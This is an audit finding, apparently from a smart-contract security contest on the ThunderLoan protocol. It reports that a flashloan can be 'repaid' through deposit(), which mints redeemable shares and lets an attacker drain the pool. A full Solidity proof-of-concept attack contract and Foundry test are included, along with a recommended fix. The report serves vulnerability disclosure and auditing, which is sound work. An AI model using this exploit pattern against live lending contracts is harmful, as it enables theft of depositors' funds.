The protocol allows users to take flashloans and requires that the borrowed amount plus fee be returned within the same transaction.
However, the repayment check can be bypassed by depositing the borrowed funds back into the protocol instead of directly repaying, causing incorrect accounting and allowing an attacker to retain control over the funds.
Likelihood:
Flashloan callbacks are externally controlled and executed every time a flashloan is issued
The protocol does not enforce strict repayment validation independent of internal accounting
Impact:
Attacker can drain all liquidity from the pool
Protocol insolvency and total loss of user funds
Attacker takes a flashloan
Instead of repaying, they deposit the borrowed funds back
Protocol counts deposit as repayment
Attacker receives asset tokens representing deposited funds
Funds can later be withdrawn → full drain
The protocol should prevent deposit() from being used to satisfy an active flashloan repayment. During an ongoing flashloan, any token transfer into the AssetToken contract should not result in AssetToken minting, as this allows attackers to convert borrowed funds into redeemable shares before the repayment check.
Restrict deposits while a flashloan is active:
## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.